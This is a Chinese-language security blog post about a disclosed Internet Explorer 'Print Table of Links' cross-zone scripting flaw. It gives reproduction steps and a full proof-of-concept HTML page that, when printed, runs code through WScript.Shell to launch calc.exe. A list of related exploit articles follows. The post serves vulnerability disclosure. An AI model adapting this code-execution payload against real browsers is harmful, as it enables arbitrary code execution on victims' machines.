|
[图文]Aviv Raff的IE0day公布了
前两天提到Aviv搞得这个“找”0day活动(http://hi.baidu.com/secway/blog/item/f21ad28b6bd86c7a9e2fb454.html)，今天他公布细节了。
MS Internet Explorer “Print Table of Links” Cross-Zone Scripting Vulnerability
具体细节:http://aviv.raffon.net/2008/05/14/InternetExplorerQuotPrintTableOfLinksquotCrossZoneScriptingVulnerability.aspx
如果启用了 “Print Table of Links”，在打印一个网页的时候，能够导致执行任意代码，当然VISTA上UAC可以拦截它
重现：
1.下面这个地方打上勾
2.把下面代码保存成HTML，用IE打开，打印之，calc.exe会弹出。 （也可以直接访问http://raffon.net/research/ms/ie/print/linksrce.html）
| 以下是引用片段： <html> <body> Print me with table of links to execute calc.exe <a href=”http://www.bla.com?x=b<script defer >var x=new ActiveXObject(’WScript.Shell’);x.Run(’calc.exe’);</script>a.c<u>o</u>m”></a> <script>window.print();</script> </body> </html> |
这个漏洞大牛蛙他们据说当时很快就找出来了，应该也有很多别的同学找到了吧。
| 新云CMS Online.asp页面过滤不严 | 02-26 |
| 对网软网上购物系统的漏洞分析 | 01-09 |
| 测试SQL防注入脚本 | 12-21 |
| Google Xss又出跨站新漏洞 | 11-06 |
| 一次简单的html injection导致的 | 11-06 |
| 风讯、科讯漏洞利用 | 11-01 |
| Adobe pdf reader URI利用方式浅 | 10-23 |
| 超星阅览器的最新0DAY | 10-19 |
| 运用SQL Injection做数据库渗透的 | 09-22 |
| sa-blog 0day | 09-22 |
| HTML注入的一些简单想法 | 09-10 |
| 网站登陆接口的攻与防 | 09-04 |
您现在的位置：